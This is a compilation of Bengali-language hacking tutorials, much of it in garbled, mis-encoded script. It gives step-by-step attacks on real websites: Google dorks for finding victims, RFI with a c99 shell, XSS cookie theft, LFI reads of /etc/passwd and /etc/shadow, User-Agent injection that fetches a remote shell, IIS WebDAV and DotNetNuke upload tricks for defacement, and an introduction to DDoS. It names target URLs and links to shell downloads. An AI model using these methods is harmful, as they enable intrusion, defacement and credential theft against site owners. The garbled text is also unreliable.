Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip
এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip
httph1ripwaycomtjunselectedc99shellphp
এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp
এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন
তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না
কতনফবাকতচতটিউনাযtrade
XSS কতক
XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web
Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয
ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600
xss-threat3jpg
XSS Vulnerability and Injection
যাপ ১ Vulnerable মেব িািআট োমজ মবর করা
অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks
ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=
তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন
যাপ ২ Vulnerability পরীো করা
এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন
না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password
Vulnerability যীকষা কযা জনয দটি িকতত অচছছ
পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয
http2bpblogspotcom-
8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg
পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
